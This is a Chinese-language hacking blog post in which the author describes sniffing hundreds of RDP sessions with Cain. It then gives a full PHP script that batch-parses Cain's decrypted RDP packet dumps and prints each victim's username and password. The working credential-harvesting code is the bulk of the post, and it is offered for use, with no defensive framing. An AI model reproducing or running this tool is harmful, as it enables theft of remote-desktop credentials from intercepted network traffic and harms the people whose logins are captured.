记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

Cain嗅探的RDP包批量解析脚本导出用户名+密码

2013-01-30 00:45

昨天晚上开始嗅探,好家伙好几百个包,网上搜了一下有一款工具叫“Cain RDP Parser”,好家伙,一个一个选,玩死人的。。。索性写了个PHP脚本来批量解析。凑合着用。

CainRdpParser.png

 

 

  1. <?php
  2. //Author Wdot
  3. //Site:http://wdot.cc
  4. //用法 php CainRdpParser.php /tmp/1.txt #单个文件解析
  5. //用法 php CainRdpParser.php /tmp/RDP/ #批量解析
  6. error_reporting(E_ERROR);
  7. if(is_dir($argv[1]))
  8. {
  9. foreach (scandir($argv[1]) as $key => $value) {
  10. if($value!=’.’ && $value!=’..’)
  11. {
  12. rdpParser($argv[1].$value);
  13. }
  14. }
  15. }elseif(is_file($argv[1]))
  16. {
  17. rdpParser($argv[1]);
  18. }
  19. function rdpParser($filename){
  20. $crlf = “\r\n”;
  21. if(!file_exists($filename)){
  22. print “file \”$filename\” not exists…$crlf”;
  23. return;
  24. }
  25. $rdpH=fopen($filename,’r');
  26. print “FILE:”.basename($filename).$crlf;
  27. fseek($rdpH,0);
  28. while (!feof($rdpH)) {
  29. $line=trim(fgets($rdpH));
  30. if(preg_match(“/\w+.address:.*?$/”,$line,$m))
  31. {
  32. print $line.$crlf;
  33. }
  34. if(preg_match(“/^\[Client decrypted packet\]/”,$line,$m))
  35. {
  36. $packet=”;
  37. while (!empty($line)) {
  38. $line=trim(fgets($rdpH));
  39. $packet.=substr($line,5,48);
  40. }
  41. $packets=explode(’0000000000′,str_replace(‘ ‘, ”, $packet));
  42. $i=count($packets)-27;
  43. $packets=explode(’0000′,$packets[$i]);
  44. $times=0;
  45. foreach ($packets as $key => $value) {
  46. if(empty($value) || $times>=2)continue;
  47. print (($times==0)?’username’:'password’).”:\t”.pack(‘H*’,$value).$crlf;
  48. $times++;
  49. }
  50. break;
  51. }
  52. }
  53. fclose($rdpH);
  54. print “——————————-$crlf”;
  55. }
  56. ?>

作者:wdot.cc

知识来源: www.afeng.org/565.html

阅读:339156 | 评论:0 | 标签:资源共享

想收藏或者和大家分享这篇好文章→复制链接地址

“Cain嗅探的RDP包批量解析脚本导出用户名+密码”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

学习黑客技术,传播黑客文化

推广

工具

标签云